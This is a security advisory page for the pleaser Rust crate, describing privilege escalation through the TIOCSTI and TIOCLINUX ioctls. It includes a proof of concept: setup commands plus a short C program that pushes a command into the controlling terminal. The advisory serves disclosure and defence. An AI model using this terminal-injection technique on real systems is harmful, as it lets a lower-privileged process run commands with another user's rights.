Vulnerability MediumRUSTSEC-2023-0066 · pleaser
RUSTSEC-2023-0066: Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX
Short answerA security vulnerability in the pleaser crate: Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX. Medium severity (CVSS 4.6). No fixed version: replace the crate or remove the affected code path.
| Crate | pleaser |
|---|---|
| Type | Vulnerability (privilege-escalation) |
| Affected versions | Every version. |
| Fixed in | none |
| Severity | Medium, CVSS 4.6 CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| Published | 2023-04-29 |
| Last changed | 2024-02-10 |
| Also known as | CVE-2023-46277, GHSA-cgf8-h3fp-h956 |
What to do
- Find who pulls it in:
cargo tree -i pleaser. - Avoid the affected API, or replace the crate.
Details from the advisory
please is vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX on systems where they are not disabled.
Here is how to see it in action:
$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>
int main(void) {
const char *text = "id\n";
while (*text)
ioctl(0, TIOCSTI, text++);
return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI # runs id(1) as ${USER} rather than nobody
Please note that:
This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.
References
- Package: crates.io/crates/pleaser
- Advisory: rustsec.org/advisories/RUSTSEC-2023-0066.html
- Report: gitlab.com/edneville/please/-/issues/13
From the RustSec Advisory Database (CC0-1.0) via the OSV export, downloaded Oct 24, 2026. Severity score computed from the published CVSS vector.
Other advisories for pleaser
Up next
Same cratepleaser: security historyEvery advisory for this crate, and whether it is safe to use today.Read it next →Did this answer your question?